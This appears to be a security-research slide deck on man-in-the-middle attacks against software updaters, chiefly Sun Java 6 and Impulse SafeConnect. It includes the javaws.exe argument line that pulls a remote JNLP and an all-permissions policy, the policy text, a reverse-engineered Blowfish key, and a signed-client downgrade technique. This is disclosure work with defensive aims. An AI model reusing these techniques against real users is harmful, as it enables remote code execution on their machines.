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Recent News

● Iran: forged SSL certificates for update servers[1]
● Egypt: government licensed FinFisher to exploit 

iTunes updates[2]
● Flame malware exploits MD5 collision with 

Windows updates[3]
[1]https://blog.torproject.org/blog/diginotar-damage-disclosure

[2]http://www.theregister.co.uk/2011/09/21/egypt_cyber_spy_controversy/

[3]http://krebsonsecurity.com/2012/06/flame-malware-prompts-microsoft-patch/

https://blog.torproject.org/blog/diginotar-damage-disclosure
http://www.theregister.co.uk/2011/09/21/egypt_cyber_spy_controversy/
http://krebsonsecurity.com/2012/06/flame-malware-prompts-microsoft-patch/


  

Insecure HTTP



  

Unsigned Executables



  

Software Updates

● Performance
● Security
● Under one 

minute install



  

Problem

● Untrusted networks
● Hotel/coffee shop wireless
● Foreign country

● A man in the middle can exploit even 
sophisticated updaters using asymmetric crypto



  

Sun Java



  

Exploit Time Frame

...September 2011
—

February 2012



  

Updates

● We look at Java 6 (Java 7 is analogous)
● Automatic updater periodically queries

javadl-esd.sun.com/update/1.6.0/map-m-1.6.0.xml

● Points to update information
javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_31-b79.xml

● Contains
● URL for installer
● Command line arguments
● SHA1 hash of installer

http://javadl-esd.sun.com/update/1.6.0/map-m-1.6.0.xml
http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_31-b79.xml


  

Verification

● Installer is downloaded and verified
● Against XML-provided hash
● To have “Sun Microsystems, Inc.” digital signature
● To have a PE version number at least as high



  

To Exploit

● We want an executable that
● Has same SHA1 hash as in XML

– We can provide a different hash
● Has a “Sun Microsystems, Inc.” digital signature
● Has a PE version number at least as high
● Can still somehow run arbitrary code



  

Exploit

● javaws.exe



  

Exploit

● javaws.exe
● Arguments:

● http://url/to/hello.jnlp
● -J-Djava.security.policy=http://url/to/grantall.jp
● -Xnosplash
● -open

● Fixed in Java 6 Update 31, 7 Update 3
● HTTPS to fetch XML

grant {
    permission
    java.security.AllPermission;
};



  

Impulse SafeConnect



  

Exploit Time Frame

...July 2011
—

August 2011



  

Updates

● Silently updates itself
● Connects to hard-coded 198.31.193.211 via 

HTTP (only accessible on campus)
● XML communication encrypted via Blowfish key 

in ECB mode (reverse engineered):

\x4f\xbd\x06\x00\x00\xca\x9c\x18\x03\xfc\x91\x3f



  

Verification

● Server responds with Blowfish-encrypted URL's 
and MD5 hashes for updated files

● Files are downloaded
● Files are verified to have “Impulse Point LLC” 

digital signature



  

Problem

● Blowfish encryption is symmetric
● We can receive XML updates
●  ⇒ We can send client arbitrary XML

● But update files need signature



  

Exploit

● Get around digital signature verification
● “Upgrade” to an older client that is signed but 

performs no check
● “Upgrade” older client to arbitrary code
● Fixed by 5059.242 by using HTTPS
● Must be on campus to receive fix
● HTTPS private key one hop away



  

Other Programs

● Virtualbox (verification left to user)
● Downloads update information via HTTP
● Download links open in browser



  

Other Programs

● Adobe Flash (suspicious)
● Downloads XML via HTTP
● Verifies digital signature of installer
● Downloaded installer verifies that a newer version of 

Flash is not installed

● Google Chrome (cool)
● Downloads signed XML via HTTP
● Verifies XML's signature
● Downloads installer via HTTP
● Verifies installer's hash against XML



  

Impact

● These aren't hard to find
● With just two, we could own

● Windows + Java users
● Anyone on our campus wifi

● Governments can do much better than us



  

Solutions?

● Smart people really have difficulty doing 
updates

● Despite trying really hard
● How can we protect the FOCI of users on 

untrusted networks?



  

Solutions?

● Find and fix vulnerable software?
● All vulnerable software
● Most vulnerable software

● Give users tools to detect unsafe updates?
● Blacklist
● Dynamic analysis



  

Solutions?

● More libraries?  OS-provided service?
● Optional (TUF[4])
● Required...

● Walled gardens?
● Walled gardens commonly censor[5]

– Competing technology
– Obscene material
– Religiously controversial material
– Content “over the line”

[4]https://theupdateframework.com/

[5]https://developer.apple.com/appstore/resources/approval/guidelines.html

https://theupdateframework.com/
https://developer.apple.com/appstore/resources/approval/guidelines.html
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